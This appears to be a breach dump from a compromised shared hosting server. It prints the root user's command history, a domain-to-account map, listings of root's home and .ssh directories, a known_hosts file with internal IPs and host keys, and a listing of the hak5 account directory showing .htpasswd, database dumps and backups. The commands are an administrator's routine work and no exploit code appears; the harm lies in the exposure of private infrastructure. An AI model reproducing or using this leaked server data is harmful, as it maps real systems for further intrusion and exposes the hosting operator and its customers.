20831 hakme.chrisgerling.com: cgerling 20832 forums.hak5.org: hak5 20833 lebanondds.drkhaksar.com: drkhaksa 20834 ads.hak5.org: hak5 20835 hak5.org: hak5 20836 archive.tar.gz.hak5.org: hak5 20837 drkhaksar.com: drkhaksa 20838 root@web02 [~]# cat /root/.bash_history 20839 cd www 20840 ls 20841 cd downloads_ 20842 ls 20843 cd .. 20844 ls 20845 cd ryno 20846 ls 20847 cd .. 20848 cd sys 20849 ls 20850 cd .. 20851 cd /home/divergen 20852 ls 20853 cd www 20854 ;s 20855 ls 20856 mv billing billing_whmcs 20857 mb billing_mb billing 20858 ls 20859 mb billing_mb billing 20860 mv billing_mb billing 20861 ls 20862 mv billing billing_mb 20863 mb billing_whmcs billing 20864 mv billing_whmcs billing 20865 pico .htaccess 20866 cd /home 20867 ls 20868 cd /home/divergen/www/support 20869 ls 20870 top 20871 service httpd stop 20872 service mysqld stop 20873 service mysql stop 20874 top 20875 service named stop 20876 service named start 20877 service mysql start 20878 service httpd start 20879 top 20880 reboot 20881 top 20882 cd /etc 20883 ls 20884 ls 20885 cd network 20886 ls 20887 pico resolv.conf 20888 pico resolv.conf 20889 ping google.com 20890 ping yahoo.com 20891 /etc/rc.d/init.d/nscd 20892 /etc/rc.d/init.d/nscd restart 20893 ping google.com 20894 /etc/rc.d/init.d/nscd stop 20895 /etc/init.d/network 20896 /etc/init.d/network restart 20897 cd /etc 20898 ls 20899 pico resolv.conf 20900 ping 10.0.80.11 20901 iptraf 20902 top 20903 top 20904 ping google.com 20905 ping hellsfury.com 20906 ping yahoo.com 20907 ssh -ND 9999 you@example.com 20908 ssh -ND 9999 root@web02.divergentnetworks.com 20909 ssh -ND 9999 root@divergentnetworks.com 20910 ssh -ND 9999 root@divergentnetworks.com:62049 20911 ssh 20912 ssh -ND 9999 root@divergentnetworks.com -p 62049 20913 ssh -ND 9999 root@divergentnetworks.com -p 62049 20914 ssh -ND 9999 root@divergentnetworks.com -p 62049 20915 locate sys_cpanel 20916 cd /usr/local/cpanel 20917 ls 20918 ls 20919 cd htdocs 20920 ls 20921 pico index.html 20922 locate phpsysinfo 20923 cd /home/xnadmin 20924 ls 20925 cd www 20926 ls 20927 cp -r 20928 cd -r downloads /home/chewonth/www/ 20929 cd -R downloads /home/chewonth/www/ 20930 cp -r downloads /home/chewonth/www/ 20931 exit 20932 top 20933 top 20934 crontab -e 20935 service httpd restart 20936 tp[ 20937 top 20938 top 20939 exit 20940 top 20941 service httpd stop 20942 top 20943 service httpd start 20944 top 20945 cd /home/hak5/ 20946 ls 20947 cd www 20948 ls 20949 cd themes 20950 ls 20951 ls 20952 cd wp-content 20953 ls 20954 cd themes 20955 cd revolution_sports-10/ 20956 ls 20957 nano footer.php 20958 nano header.php 20959 nano header.php 20960 nano style.css 20961 nano style.css 20962 nano header.php 20963 nano header.php 20964 nano style.css 20965 nano style.css 20966 nano style.css 20967 nano header.php 20968 nano header.php 20969 nano header.php 20970 nano header.php 20971 nano header.php 20972 cd /home/wcars05 20973 ls 20974 cd etc 20975 ls 20976 cd . 20977 cd .. 20978 locate cron 20979 locate cron 20980 cd /home2/wcars 20981 ls 20982 cd /home2/wcars05 20983 ls 20984 locate crontab 20985 ls 20986 cd scripts 20987 ls 20988 cd .. 20989 ls 20990 cd /var/spool/cron/wcars05 20991 pico /var/spool/cron/wcars05 20992 cd /var/spool 20993 ls 20994 cd cron 20995 pico divergen 20996 php -q /home/divergen/public_html/billing/admin/cron.php 20997 exit 20998 cd /download 20999 cd /downloads 21000 wget http://configserver.com/free/cmm.tgz 21001 wget http://configserver.com/free/cm1.tgz 21002 wget http://configserver.com/free/cmq.tgz 21003 ls 21004 rm -rf cmm 21005 rm -rf cmq 21006 rm -rf cmq.tgz 21007 rm -rf cmm.tgz 21008 rm -rf cmm.tgz.1 21009 wget http://configserver.com/free/cmm.tgz 21010 wget http://configserver.com/free/cmq.tgz 21011 tar -xzf cmm.tgz 21012 cd cmm 21013 ls 21014 ./install.sh 21015 tar -xzf cmq.tgz 21016 sl 21017 cd .. 21018 tar -xzf cmq.tgz 21019 cd cmq 21020 ./install.sh 21021 cd .. 21022 ls 21023 wget http://www.configserver.com/free/msfeinstaller.tgz 21024 tar -zxvf msfeinstaller.tgz 21025 perl msfeinstaller.pl 21026 top 21027 locate httpd.conf 21028 cd /usr/local/apache/conf/ 21029 pico httpd.conf 21030 service httpd restart 21031 passwd 21032 cd /etc 21033 pico localdomains 21034 pico remotedomains 21035 pico /usr/local/cpanel/base/3rdparty/roundcube/config/main.inc.php 21036 mail 21037 mail divergen 21038 top 21039 top 21040 top 21041 service httpd stop 21042 service mysql stop 21043 service mysql start 21044 service httpd start 21045 service httpd start 21046 top 21047 cd /home/hak5 21048 ls 21049 cd www 21050 ls 21051 cd wp-includes 21052 ls 21053 cd .. 21054 ls 21055 cd wp-content 21056 ls 21057 cd themes 21058 ls 21059 cd revolution-sports-10 21060 ls 21061 ls 21062 cd revolution_sports-10/ 21063 ls 21064 ls -lha 21065 pico header.php 21066 tail error_log 21067 ls 21068 ls -lha 21069 pico footer.php 21070 pico footer.php 21071 top 21072 top 21073 service httpd stop 21074 top 21075 service httpd start 21076 top 21077 find suspend 21078 cd / 21079 locate suspend 21080 cd /usr/local/cpanel/etc/suspended.page 21081 ls 21082 pico index.html 21083 pico index.html 21084 ls 21085 locate suspend 21086 updatedb 21087 locate suspend 21088 pico /home/wmrx/public_html/suspended.page/ 21089 cd /home/wmrx/public_html/suspended.page/ 21090 ls 21091 pico index.html 21092 pico index.html 21093 pico index.html 21094 pico index.html 21095 pico index.html 21096 locate suspend 21097 cd /usr/local/cpanel/etc/suspended.page/ 21098 ls 21099 mv index.html index_old.html 21100 pico index.html 21101 ls 21102 locate suspend 21103 cd /usr/local/apache/htdocs/suspended.page/ 21104 ls 21105 mv index.html index_old.html 21106 pico index.html 21107 ls 21108 locate suspend 21109 top 21110 service httpd stop 21111 service http stop 21112 top 21113 kill -9 13649 21114 top 21115 service httpd start 21116 top 21117 php -q /home/divergen/public_html/billing/modules/registrars/enom/enomsync.php 21118 ping swelevator.com 21119 cd /etc 21120 ls 21121 pico remotedomains 21122 pico localdomains 21123 pico localdomains 21124 php -q /home/divergen/public_html/billing/modules/registrars/enom/enomsync.php 21125 cd /etc 21126 pico remotedomains 21127 pico localdomains 21128 pico /etc/remotedomains 21129 pico /etc/localdomains 21130 ls 21131 cd cpanel 21132 ls 21133 cd .. 21134 ls 21135 cd usr 21136 cd local 21137 cd spanel 21138 ls 21139 cd spanel/base/frontend 21140 ls cpaenl/base/frontend 21141 cd cpanel 21142 cd base 21143 cd frontend 21144 ls 21145 cd dskin 21146 ls 21147 pico index.html 21148 top 21149 exit 21150 top 21151 top 21152 cd /home2/samurize 21153 ls 21154 cd www 21155 ls 21156 rm -rf forums 21157 mkdir forums 21158 chown samurize.samurize forums 21159 rpm -e usermin 21160 rpm -e webmin 21161 cd /scripts 21162 ./checkperlmodules 21163 top 21164 top 21165 cd /etc 21166 pico php.ini 21167 cd /usr/local 21168 ls 21169 locate php_gd2 21170 top 21171 exit 21172 top 21173 cd /home/divergen 21174 cd www 21175 ls-lha 21176 ls -lha 21177 tar -cvf billing billing_backup.tar 21178 tar -cvf billing_backup.tar billing 21179 ping update.cyberduck.ch 21180 cd /home/diveregn/www 21181 cd /home/divergen/www 21182 cd downloads 21183 mkdir downloads 21184 cd downloads 21185 wget http://cyberduck.ch/Cyberduck-3.2.dmg 21186 cd /usr/jtv/public_html/scrape.php 21187 cd /home/jtv 21188 cd /home 21189 ls 21190 cd /home2 21191 cd jtv 21192 ls 21193 cd www 21194 ls 21195 ./scrape.php 21196 chmod +x scrape.php 21197 ./scrape.php 21198 php -q scrape.php 21199 php scrape.php 21200 ls -lha today.php 21201 chmod 777 today.php 21202 tail today.php 21203 nano scrape.php 21204 chmod 777 scrape.php 21205 nano scrape.php 21206 top 21207 service httpd restart 21208 service httpd stop 21209 service http stop 21210 service httpd start 21211 service httpd stop 21212 service httpd start 21213 cd /tmp 21214 ls 21215 ls 21216 cd .. 21217 ls 21218 cd .. 21219 ls 21220 cd .. 21221 ls 21222 cd usr 21223 ls 21224 cd .. 21225 exit 21226 cd .. 21227 ls 21228 cd home2 21229 ls 21230 cd sethryde 21231 ls 21232 cd public_ 21233 cd public_html/ 21234 ls 21235 cd amplifywow.com/ 21236 ls 21237 cd mirror/ 21238 cd patches/ 21239 cd 3.1.3/ 21240 ls 21241 cd .. 21242 ls 21243 cd 3.0.2/ 21244 wget 21245 // Begin random snipping of repetitive wgets 21246 cd .. 21247 ls 21248 mkdir 3.0.3 21249 ls 21250 cd 3.0.3 21251 wget 21252 mkdir 3.0.8 21253 ls 21254 cd 3.0.8 21255 ls 21256 cd .. 21257 ls 21258 cd 3.1.3 21259 ls 21260 sdft 21261 http://a.wirebrain.de/wow/patches/3.1.3/WoW-3.1.2.9901-to-3.1.3.9947-esES-patch 21262 .exe 21263 ls 21264 ls 21265 wget 21266 http://a.wirebrain.de/wow/patches/3.1.3/WoW-3.1.2.9901-to-3.1.3.9947-esMX-patch 21267 .exe 21268 wget 21269 http://a.wirebrain.de/wow/patches/3.1.3/WoW-3.1.2.9901-to-3.1.3.9947-esMX-patch 21270 .zip 21271 wget 21272 http://a.wirebrain.de/wow/patches/3.1.3/WoW-3.1.2.9901-to-3.1.3.9947-ruRU-patch 21273 .exe 21274 cd .. 21275 ls 21276 mkdir 3.1.2 21277 ls 21278 cd 21279 ls 21280 cd public_html 21281 ls 21282 dir 21283 cd .. 21284 cd .. 21285 ls 21286 cd .. 21287 cd home2 21288 ls 21289 cd sethryde 21290 ls 21291 cd public_html 21292 cd amplifywow.com/ 21293 cd mirror/ 21294 cd patches/ 21295 cd 3.1.2 21296 ls 21297 exit 21298 ls 21299 cd .. 21300 ls 21301 cd home2 21302 l 21303 ls 21304 cd sethryde 21305 ls 21306 cd public_ 21307 cd public_html/ 21308 ls 21309 cd mirror 21310 ls 21311 cd .. 21312 ls 21313 cd amplifywow.com/ 21314 ls 21315 cd mirror 21316 ls 21317 cd patches 21318 ls 21319 cd 3.0.8 21320 chown 21321 cd .. 21322 ls 21323 chown 3.0.8 sethryde 21324 chown sethryde 3.0.8 21325 chown sethryde 3.0.3 21326 chown sethryde 3.1.2 21327 cd .. 21328 ls 21329 cd patches 21330 ls 21331 cd 3.1.1a 21332 ls 21333 // snip snip... 21334 wget http://a.wirebrain.de/wow/patches/3.0.8/WoW-3.0.8.9464-to-3.0.8.9506-ruRU-patch.zip 21335 exit 21336 top 21337 cd /home2 21338 mkdir backups 21339 iptraf 21340 locate backup 21341 locate cpbackup 21342 cd /usr/local/cpanel/logs 21343 tail 12 21344 cd /usr/local/cpanel/logs/cpbackup 21345 tail 1244440801.log 21346 tail 1244440801.log 21347 tail 1244440801.log 21348 tail 1244440801.log 21349 tail -n100 1244440801.log 21350 tail -n100 1244440801.log 21351 top 21352 top 21353 cd /var/logs 21354 cd /var/log 21355 ls 21356 cd /usr/local/cpanel/logs/cpbackup/ 21357 ls 21358 tail 1244440801.log 21359 tail 1244440801.log 21360 tail -n1000 1244440801.log 21361 ls -lha 21362 tail -n1000 1244440801.log 21363 tail -n1000 1244440801.log 21364 tail -n1000 1244440801.log 21365 top 21366 exit 21367 locate sectabs 21368 locate d.idx 21369 updatedb 21370 locate *.idx 21371 cd /home2/hak5/public_html/docuwiki/data/index/ 21372 ls 21373 nano i10.idx 21374 locate *.z 21375 cd .. 21376 cd .. 21377 cd .. 21378 cd wp-content 21379 ls 21380 cd plugins 21381 ls 21382 mv -R zz /home2/hak5/ 21383 mv -r zz /home2/hak5/ 21384 mv zz /home2/hak5/ 21385 top 21386 top 21387 service httpd stop 21388 top 21389 service mysql stop 21390 top 21391 service mysql start 21392 service httpd start 21393 top 21394 service httpd stop 21395 top 21396 service httpd start 21397 service named restart 21398 service httpd stop 21399 service httpd start 21400 service httpd stop 21401 servie mysql stop 21402 service mysql stop 21403 cd /tmp 21404 ls 21405 rm -rf *.* 21406 ls 21407 rm -rf * 21408 service mysql start 21409 service httpd start 21410 ls 21411 ls 21412 service httpd stop 21413 service mysql stop 21414 cd /root 21415 cd scripts 21416 cd /scripts 21417 ls 21418 ./updatenow -force 21419 ./updatenow --force 21420 reboot 21421 service httpd stop 21422 cd /tmp 21423 ls 21424 ls 21425 rm -rf * 21426 ls 21427 cd .ICE-unix/ 21428 ls 21429 cd .. 21430 rm -rf .* 21431 ls 21432 uname 21433 uname -a 21434 yum update kernel 21435 yum update kernel-smp 21436 cd /etc 21437 ls 21438 pico grub.conf 21439 pico grub.conf 21440 yum upgrade kernel.smp 21441 yum upgrade kernel-smp 21442 yum search smp 21443 cd /tmp 21444 ls 21445 ls 21446 top 21447 service httpd stop 21448 service httpd start 21449 top 21450 reboot 21451 cd /tmp 21452 ls 21453 ls 21454 service httpd stop 21455 ls 21456 cd /etc 21457 ls 21458 cd httpd 21459 ls 21460 cd conf 21461 ls 21462 pico httpd.conf 21463 ls 21464 cd .. 21465 ls 21466 service httpd start 21467 cd /usr/local/apache/logs 21468 ls 21469 ls -lha 21470 rm -rf error_log 21471 touch error_log 21472 service httpd start 21473 tail error_log 21474 tail -f error_log 21475 ls 21476 ls -lha 21477 locate error_log 21478 service httpd stop 21479 who 21480 uname -a 21481 service httpd stop 21482 top 21483 ls 21484 cd .. 21485 ls 21486 cd home2 21487 ls 21488 cd sethryde 21489 ls 21490 cd public_html/ 21491 ls 21492 cd amplifywow.com/ 21493 ls 21494 cd mirror/ 21495 ls 21496 cd .. 21497 rm mirror 21498 rm -rf mirror 21499 rmdir mir 21500 rmdir mirror 21501 ls 21502 logout 21503 w 21504 uname -r 21505 cat /proc/cpuinfo 21506 vi /etc/grub.conf 21507 free -m 21508 cat /proc/cpuinfo 21509 yum install kernel-PAE 21510 free -m 21511 uname -r 21512 vi /etc/grub.conf 21513 yum list | grep kernel 21514 yum update kernel 21515 grep MaxCli /usr/local/apache/logs/error_log 21516 date 21517 w 21518 service httpd stop 21519 top 21520 who 21521 w 21522 w 21523 watch w 21524 w 21525 w 21526 w 21527 w 21528 w 21529 w 21530 w 21531 nice top 21532 vi /usr/local/apache/conf/httpd.conf 21533 history 21534 top 21535 who 21536 top 21537 locate error_log 21538 history 21539 cd /usr/local/apache/logs 21540 ls 21541 ls -lha 21542 tail error_log 21543 tail -n 1000 error_log 21544 tail error_log 21545 top 21546 w 21547 ps aux 21548 netstat -n 21549 service httpd start 21550 netstat -n 21551 netstat -n 21552 apf -d 216.235.148.199 21553 csf 21554 w 21555 service httpd stop 21556 killall -9 httpd 21557 w 21558 ps aux 21559 iptables -L 21560 cd /usr/src 21561 ls 21562 wget http://www.configserver.com/free/csf.tgz 21563 tar -zxf csf.tgz 21564 cd csf 21565 ls 21566 ./install. 21567 ./install.sh 21568 uname -a 21569 w 21570 ps aux 21571 /etc/csf/csftest.pl 21572 ls 21573 nano readme.txt 21574 ifconfig 21575 w 21576 ps aux 21577 cd 21578 service httpd start 21579 netstat -n 21580 netstat -n 21581 w 21582 netstat -n 21583 w 21584 netstat -n | more 21585 netstat -n | gerp "87:80" | awk '{print $5}' | more 21586 netstat -n | grep "87:80" | awk '{print $5}' | more 21587 netstat -n | grep "87:80" | awk '{print $5}' | sed 's/:/ /' | more 21588 netstat -n | grep "87:80" | awk '{print $5}' | sed 's/:/ /' | awk '{print $1}' 21589 | more 21590 netstat -n | grep "87:80" | awk '{print $5}' | sed 's/:/ /' | awk '{print $1}' 21591 | sort |uniq -c |sort -n 21592 csf -d 195.70.62.72 21593 csf -d 202.157.188.79 21594 csf -d 76.73.90.250 21595 csf -d 216.235.148.199 21596 csf -d 98.184.177.211 21597 csf -d 216.243.150.138 21598 csf -d 93.188.245.224 21599 w 21600 ps aux 21601 top 21602 netstat -n 21603 ifconfig 21604 netstat -n 21605 host 75.126.127.87 21606 nano /etc/httpd/conf/httpd.conf 21607 ls /home 21608 w 21609 cd 21610 ps aux 21611 top 21612 tail -f /etc/httpd/logs/error_log 21613 tail -f /etc/httpd/domlogs/hak5.org 21614 csf -d 93.93.112.45 21615 tail -f /etc/httpd/domlogs/hak5.org 21616 w 21617 top 21618 who 21619 top 21620 tail -f /etc/httpd/domlogs/hak5.org 21621 w 21622 dmesg 21623 top 21624 w 21625 ps aux 21626 top 21627 /scripts/easyapache 21628 cd /usr/local/apache/conf 21629 ls 21630 cat php.conf 21631 /usr/local/cpanel/bin/rebuild_phpconf 21632 /usr/local/cpanel/bin/rebuild_phpconf 5 none suphp 1 21633 w 21634 tail -f /etc/httpd/logs/error_log 21635 cd /home 21636 ls 21637 ls -l 21638 df -h 21639 for i in `ls /var/cpanel/users`;do find /home/$i/public_html -type d;done 21640 for i in `ls /var/cpanel/users`;do find /home/$i/public_html -type d -exec 21641 chmod 755 {} \; 21642 for i in `ls /var/cpanel/users`;do find /home/$i/public_html -type d -exec 21643 chmod 755 {} \;done; 21644 for i in `ls /var/cpanel/users`;do find /home/$i/public_html -type d -exec 21645 chmod 755 {} \;;done; 21646 tail -f /etc/httpd/logs/error_log 21647 nano /home2/hak5/public_html/php.ini 21648 nano /home/hak5/subdomains/wiki/.htaccess 21649 w 21650 tail -f /etc/httpd/logs/error_log 21651 for i in `ls /var/cpanel/users`;do find /home/$i/public_html -type f -exec 21652 chmod 655 {} \;;done; 21653 tail -f /etc/httpd/logs/error_log 21654 tail -f /etc/httpd/logs/error_log 21655 tail -n 1000 /etc/httpd/logs/error_log 21656 tail -f /etc/httpd/logs/error_log 21657 ls /home2/jtv/public_html/today.php 21658 cd /home2 21659 ls 21660 ls -l 21661 for i in `ls /var/cpanel/users`;do find /home2/$i/public_html -type d -exec 21662 chmod 755 {} \;;done; 21663 for i in `ls /var/cpanel/users`;do find /home2/$i/public_html -type f -exec 21664 chmod 655 {} \;;done; 21665 tail -f /etc/httpd/logs/error_log 21666 w 21667 ps aux 21668 top 21669 w 21670 ps aux 21671 netstat -n 21672 ls /proc/ |grep recent 21673 cd /proc 21674 ls 21675 cd net 21676 ls 21677 cd ipt_recent/ 21678 ls 21679 cat 80 21680 w 21681 cd 21682 psa ux 21683 dmesg 21684 ls 21685 /tmp 21686 cat dead.letter 21687 w 21688 tail -f /etc/httpd/logs/error_log 21689 tail -n 100 /etc/httpd/logs/error_log 21690 cd /usr/local/apache 21691 ls 21692 cd logs/ 21693 ls 21694 tail -f suphp_log 21695 cd 21696 w 21697 ps aux 21698 tail -f suphp_log 21699 cd /usr/local/apache/logs 21700 ls 21701 cat error_log |grep php_ 21702 cat error_log |grep php_ 21703 tail -f error_log 21704 ls -l 21705 /home2/hak5/public_html/wp-content/plugins/wordpress-automatic-upgrade/js/wp-wp 21706 au.js.php 21707 cd /home 21708 for i in `ls /var/cpanel/users`;do find /home2/$i/public_html -type f -exec 21709 chown $i:$i {} \;;done; 21710 for i in `ls /var/cpanel/users`;do find /home/$i/public_html -type f -exec 21711 chown $i:$i {} \;;done; 21712 tail -f error_log 21713 cd /usr/local/apache/logs/ 21714 ls 21715 tail -f error_log 21716 exit 21717 cd /tmp 21718 ls 21719 ls 21720 cd eaccelerator/ 21721 ls 21722 cd f 21723 ls 21724 cd f 21725 ls 21726 cd .. 21727 cd .. 21728 cd .. 21729 service httpd stop 21730 rm -rf eaccelerator/ 21731 service httpd start 21732 csf 21733 service avahi-daemon stop 21734 chkconfig avahi-daemon off 21735 service hidd stop 21736 chkconfig hidd off 21737 service pcscd stop 21738 chkconfig pcscd off 21739 service rpcidmapd stop 21740 chkconfig rpcidmapd off 21741 service bluetooth stop 21742 chkconfig bluetooth off 21743 service anacron stop 21744 chkconfig anacron off 21745 service nfslock stop 21746 chkconfig nfslock off 21747 service cups stop 21748 chkconfig cups off 21749 top 21750 cd /etc 21751 pico grub.conf 21752 uname -a 21753 pico grub.conf 21754 top 21755 top 21756 cd /home 21757 ls 21758 cd samurize 21759 cd home2 21760 cd samurize 21761 cd /home2 21762 ls 21763 cd samurize 21764 ls 21765 cd www 21766 ls 21767 ls -lha 21768 cd /home/hak5 21769 ls 21770 cd www 21771 ls -lha 21772 cd wp-content 21773 ls 21774 ls -lha 21775 cd uploads 21776 ls 21777 ls 0lha 21778 ls -lha 21779 cd 2008 21780 ls 21781 ls -lha 21782 cd .. 21783 cd 2009 21784 ls 21785 ls -lha 21786 cd .. 21787 cd .. 21788 chown hak5.hak5 * 21789 ls 21790 ls -lha 21791 rm advanced-cache.php 21792 chown hak5.hak5 * 21793 chown -R hak5.hak5 * 21794 ls 21795 ls -lha 21796 cd .. 21797 chown -R hak5.hak5 * 21798 ls -lha 21799 cd /home2/samurize 21800 ls 21801 cd www 21802 ls 21803 ls -lha 21804 cd forums 21805 ls -lha 21806 cd admin 21807 ls -lha 21808 cd .. 21809 ls 21810 cd uploads 21811 ls -lha 21812 cd .. 21813 cd .. 21814 chown -R samurize.samurize * 21815 cd forums/uploads 21816 ls 21817 ls -lha 21818 top 21819 cd /home/jtv 21820 cd /home 21821 ls 21822 cd /home2 21823 ls 21824 cd jtv 21825 ls 21826 cd www 21827 chown -R jtv.jtv * 21828 who 21829 top 21830 tracert 173.53.70.112 21831 traceroute 173.53.70.112 21832 root@web02 [~]# ls -la /root 21833 total 6780 21834 drwxr-x--- 21 root root 4096 Jul 12 05:19 ./ 21835 drwxr-xr-x 27 root root 4096 Jun 28 19:29 ../ 21836 -rw------- 1 root root 957 Jul 23 2008 .accesshash 21837 -rw------- 1 root root 23242 Jul 8 12:24 .bash_history 21838 -rw-r--r-- 1 root root 24 Jan 6 2007 .bash_logout 21839 -rw-r--r-- 1 root root 191 Jan 6 2007 .bash_profile 21840 -rw-r--r-- 1 root root 176 Jan 6 2007 .bashrc 21841 drwxr-xr-x 4 root root 4096 Jul 11 2008 .cpanel/ 21842 drwxr-xr-x 4 root root 4096 Jul 11 2008 cpanel3-skel/ 21843 drwx------ 3 root root 4096 Jul 11 2008 .cpobjcache/ 21844 -rw-r--r-- 1 root root 100 Jan 6 2007 .cshrc 21845 -rw------- 1 root root 4 Feb 4 10:38 dead.letter 21846 drwxr-xr-x 2 root root 4096 Nov 28 2008 downloads/ 21847 -rw-r--r-- 1 root root 28 Jul 23 2008 .forward 21848 drwx------ 3 root root 4096 Jul 10 2008 .gconf/ 21849 drwx------ 2 root root 4096 Jul 10 2008 .gconfd/ 21850 drwx------ 2 root root 4096 Mar 5 03:15 .gnupg/ 21851 -rw------- 1 root root 75 Jun 26 16:06 .lesshst 21852 drwxr-xr-x 2 root root 4096 Jul 24 2008 .lftp/ 21853 drwx------ 6 root root 4096 Jul 11 2008 .MirrorSearch/ 21854 -rw------- 1 root root 46 Jul 11 2008 .my.cnf 21855 -rw------- 1 root root 152 Jul 22 2008 .mysql_history 21856 -rw-r--r-- 1 root root 299 Jul 3 03:16 .pearrc 21857 drwxr-xr-x 2 root root 4096 Jul 11 2008 public_ftp/ 21858 drwxr-xr-x 3 root root 4096 Jul 11 2008 public_html/ 21859 drwxr-xr-x 2 root root 4096 Jul 24 2008 .razor/ 21860 -rw------- 1 root root 1024 Feb 27 03:14 .rnd 21861 drwxr-xr-x 7 root root 4096 Jul 11 06:07 rvadmin/ 21862 -rwxr-xr-x 1 root root 151 Jul 24 2008 sa_rules.sh* 21863 drwxr-xr-x 3 root root 4096 Jul 11 2008 .sl-orig-configs/ 21864 drwx------ 3 root root 4096 Jul 11 2008 .spamassassin/ 21865 drwx------ 2 root root 4096 Jul 11 2008 .ssh/ 21866 -rw-r--r-- 1 root root 129 Jan 6 2007 .tcshrc 21867 drwxr-xr-x 3 root root 4096 Aug 30 2008 tmp/ 21868 drwxr-xr-x 2 root root 4096 Nov 28 2008 .tmp/ 21869 drwxr-xr-x 3 root root 4096 Nov 28 2008 .usermin/ 21870 -rw-r--r-- 1 root root 6124217 Oct 24 2008 usermin-1.370-1.noarch.rpm 21871 -rw-r--r-- 1 root root 592843 Mar 6 2006 wget-1.10.2-3.2.1.i386.rpm 21872 root@web02 [~]# ls -la .ssh/ 21873 total 16 21874 drwx------ 2 root root 4096 Jul 11 2008 ./ 21875 drwxr-x--- 21 root root 4096 Jul 12 05:19 ../ 21876 -rw-r--r-- 1 root root 887 Dec 12 2008 known_hosts 21877 root@web02 [~]# cat .ssh/known_hosts 21878 10.4.74.66 ssh-rsa 21879 AAAAB3NzaC1yc2EAAAABIwAAAIEA02i+j1KuL7HZBmcnFrffWTQ/l13ntH+CEl375sBKgl3Fb2ruCIy 21880 QSdvMEZWo33Ksr7gEAV3XHPXPrYKFcBFGVNIMWQb3RRrP2vYMQrJahj5NJM+vpTNQZlLBLBkRjGob39 21881 CEcJYqNFqL4MuUffIWAmi/B0g28Dmt0Dbn1SWi/4U= 21882 web01.divergentnetworks.com,75.126.14.26 ssh-rsa 21883 AAAAB3NzaC1yc2EAAAABIwAAAIEA02i+j1KuL7HZBmcnFrffWTQ/l13ntH+CEl375sBKgl3Fb2ruCIy 21884 QSdvMEZWo33Ksr7gEAV3XHPXPrYKFcBFGVNIMWQb3RRrP2vYMQrJahj5NJM+vpTNQZlLBLBkRjGob39 21885 CEcJYqNFqL4MuUffIWAmi/B0g28Dmt0Dbn1SWi/4U= 21886 divergentnetworks.com,75.126.127.95 ssh-rsa 21887 AAAAB3NzaC1yc2EAAAABIwAAAQEAu1ITHGT2KP71if7/lSARz8gpJG5LtKb41VofU0ibjg20aVlXDtr 21888 7zejC4AVczjCB1ZzK9H0+8Nn61IEOuKbIviRlCChvXQAXXp0yxbtKPvBjV//V/S7uN0HnfyLCO+dMdP 21889 HeDtJ+eCKIYTudz6IhPptBvghCCfUB7cqrxfsWC/+Aj3JZnQkgGTq9Sjut+9YCrGtERykxkSdIVjnev 21890 ZxBU5xTt412qTGdmlVLWt5p8QVxd8hGW7EaiGTcGGvwu8MiN0hR6Q35BcvqYHjUuF0hc2gpQ6Tu5ruU 21891 0VAd9Zf3AWXsFBtf8ea6RFUpnXza5g+w2OmwEf/Mg7EuV3IafiLlUQ== 21892 root@web02 [~]# cd /home2/hak5/ 21893 root@web02 [/home2/hak5]# ls -la 21894 total 173932 21895 drwx--x--x 25 hak5 hak5 4096 Jul 2 21:26 ./ 21896 drwx--x--x 38 root root 4096 Jun 18 00:22 ../ 21897 lrwxrwxrwx 1 hak5 hak5 30 Jul 22 2008 access-logs -> 21898 /usr/local/apache/domlogs/hak5/ 21899 lrwxrwxrwx 1 hak5 hak5 10 Jul 22 2008 anon_ftp -> public_ftp/ 21900 -rw------- 1 hak5 hak5 1544 May 1 19:27 .bash_history 21901 -rw-r--r-- 1 hak5 hak5 24 Feb 22 2008 .bash_logout 21902 -rw-r--r-- 1 hak5 hak5 191 Feb 22 2008 .bash_profile 21903 -rw-r--r-- 1 hak5 hak5 124 Feb 22 2008 .bashrc 21904 lrwxrwxrwx 1 hak5 hak5 19 Jul 22 2008 cgi-bin -> 21905 public_html/cgi-bin/ 21906 drwxr-x--- 2 hak5 hak5 4096 Feb 7 2008 conf/ 21907 -rw------- 1 hak5 hak5 0 Feb 22 2008 .contactemail 21908 drwx------ 5 hak5 hak5 4096 Feb 24 2008 .cpanel/ 21909 drwxr-xr-x 4 hak5 hak5 4096 Nov 29 2008 cpanel3-skel/ 21910 -rw-r----- 1 hak5 hak5 1 Jun 8 11:48 cpbackup-exclude.conf 21911 drwxr-xr-x 3 hak5 hak5 4096 Jul 21 2008 cpmove.psql/ 21912 drwxr-xr-x 2 hak5 hak5 4096 Feb 22 2008 cpmove.psql.1216697313/ 21913 -rw-r--r-- 1 hak5 hak5 8 May 1 19:27 .dns 21914 -rw-r--r-- 1 hak5 hak5 383 Feb 22 2008 .emacs 21915 drwxr-xr-x 2 hak5 hak5 4096 Feb 22 2008 error_docs/ 21916 drwxr-x--- 3 hak5 mail 4096 Aug 19 2008 etc/ 21917 -rw------- 1 hak5 hak5 17 Jun 24 03:14 .ftpquota 21918 -rw-r--r-- 1 hak5 hak5 146463861 Jul 22 2008 hak5_hak5wiki.sql 21919 -rwxrwxrwx 1 hak5 hak5 19 Apr 23 2007 .htpasswd* 21920 drwxr-x--- 2 hak5 nobody 4096 Jul 21 2008 .htpasswds/ 21921 -rw-r--r-- 1 hak5 hak5 5389 Jun 1 2007 httpd.config.old 21922 drwxr-x--- 7 hak5 hak5 4096 Apr 25 2007 httpsdocs/ 21923 -rw-r--r-- 1 hak5 hak5 7 Jul 21 2008 .lang 21924 -rw------- 1 hak5 hak5 14 Jul 2 21:26 .lastlogin 21925 -rw------- 1 hak5 hak5 35 Feb 24 18:23 .lesshst 21926 drwxrwx--- 6 hak5 hak5 4096 Jul 1 03:16 mail/ 21927 drwxr-xr-x 4 hak5 hak5 4096 Jul 21 2008 .mozilla/ 21928 drwxr-x--- 2 hak5 hak5 4096 Apr 23 2007 pd/ 21929 drwx------ 2 hak5 hak5 4096 Dec 22 2007 private/ 21930 drwxr-x--- 5 hak5 hak5 4096 Aug 20 2008 public_ftp/ 21931 drwxr-xr-x 64 hak5 nobody 4096 Jul 9 12:10 public_html/ 21932 drwxr-xr-x 3 hak5 hak5 4096 Aug 20 2008 rev3/ 21933 -rw-r--r-- 1 hak5 hak5 31233829 Sep 6 2008 sbbs.rar 21934 dr-xr-x--- 7 hak5 hak5 4096 Apr 22 2007 statistics/ 21935 drwxr-xr-x 5 hak5 hak5 4096 Mar 19 2008 subdomains/ 21936 -rw-r--r-- 1 hak5 hak5 50886 Mar 4 2008 test 21937 drwxrwxrwt 34 hak5 hak5 4096 Mar 16 00:14 tmp/ 21938 drwx------ 2 hak5 hak5 4096 May 15 2008 .trash/ 21939 drwxr-xr-x 3 hak5 hak5 4096 Dec 21 2007 usr/ 21940 drwxr-xr-x 2 hak5 